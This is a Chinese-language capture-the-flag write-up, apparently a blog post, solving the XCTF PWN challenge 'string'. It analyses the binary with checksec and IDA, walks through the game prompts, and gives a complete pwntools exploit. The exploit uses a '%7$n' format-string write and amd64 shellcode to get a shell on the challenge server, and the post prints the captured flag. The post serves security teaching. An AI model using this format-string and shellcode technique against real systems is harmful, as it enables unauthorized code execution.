XCTF|PWN-string-WP

1、下载文件并开启靶机

2、在Linux中查看文件信息

checksec 5

 我们看到:

1.该文件是64位的文件

2.启用了nx

3、用命令运行程序

seccomp-tools dump ./5

我们会发现一个图案

 继续往下翻

 we are wizard, we will give you hand, you can not defeat dragon by yourself ...
we will tell you two secret ...
secret[0] is ea12a0
secret[1] is ea12a4
do not tell anyone 
What should your character's name be:

我们是巫师,我们会给你手,你不能一个人打败龙......

我们会告诉你两个秘密......

秘密 [0] 是 ea12a0

秘密 [1] 是 ea12a4

不要告诉任何人 你的角色的名字应该是什么:

用64位的IDA打开该文件

*v4=68,v4[1]=85

看见关键函数sub_400D72(V5),双击进去

 看到角色名字长度小于等于12

我们输入长度在12以内的字符就可以了

 Creating a new player.
 This is a famous but quite unusual inn. The air is fresh and the
marble-tiled ground is clean. Few rowdy guests can be seen, and the
furniture looks undamaged by brawls, which are very common in other pubs
all around the world. The decoration looks extremely valuable and would fit
into a palace, but in this city it's quite ordinary. In the middle of the
room are velvet covered chairs and benches, which surround large oaken
tables. A large sign is fixed to the northern wall behind a wooden bar. In
one corner you notice a fireplace.
There are two obvious exits: east, up.
But strange thing is ,no one there.
So, where you will go?east or up?:

创建一个新的播放器。 这是一家有名但很不寻常的旅馆。 空气清新, 大理石瓷砖地面很干净。 很少能看到吵闹的客人,而且 家具看起来没有被打架损坏,这在其他酒吧很常见 世界各地。 装饰看起来非常有价值,适合 进了一座宫殿,但在这座城市里,却是很普通。 在中间 房间是天鹅绒覆盖的椅子和长凳,围绕着大橡树 表。 北墙上一根木条后面固定着一个大牌子。 在 你注意到一个角落里有一个壁炉。 有两个明显的出口:向东、向上。 但奇怪的是,没有人在那里。 那么,你会去哪里?向东还是向上?:

 根据提示我们用IDA找到该地方

 根据提示我们知道这个地方我们该写east

 You travel a short distance east.That's odd, anyone disappear suddenly
, what happend?! You just travel , and find another hole
You recall, a big black hole will suckk you into it! Know what should you do?
go into there(1), or leave(0)?:

你向东走一小段路,奇怪,突然间有人消失了 , 发生了什么事?! 你只是旅行,然后找到另一个洞 你还记得,一个大黑洞会把你吸进去! 知道你应该做什么吗? 进入那里(1),还是离开(0)?:

根据提示我们知道是进入(1) 

 

 A voice heard in your mind
'Give me an address'

一个声音在你的脑海里响起

'给我一个地址'

这个地址是前面 secret[0]的地址

4、编写代码

#encoding=utf-8


from pwn import *								#导入pwntools中pwn的内容

p = remote("111.200.241.244",55698)						#链接服务器远程交互

p.recvuntil("secret[0] is")
addr=int(p.recvuntil("\n")[:-1],16)						#获取\n后面的地址为16进制,去掉末尾的\n
print(addr)

p.recvuntil("What should your character's name be:\n")
p.sendline("aaa")

p.recvuntil("So, where you will go?east or up?:\n")
p.sendline("east")

p.recvuntil("go into there(1), or leave(0)?:\n")
p.sendline("1")

p.recvuntil("'Give me an address'\n")
p.sendline(str(addr))

p.recvuntil("And, you wish is:\n")
p.sendline('a'*85+"%7$n")

shellcode=asm(shellcraft.amd64.linux.sh(),arch="amd64")
print(shellcode)						
p.sendline(shellcode)

p.interactive()	
Python3 exp1.py 

 

ls               #查看

看到flag

cat flag

 

5、flag为:

cyberpeace{364ea8d4b3cc469d370050cacd9c5615}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值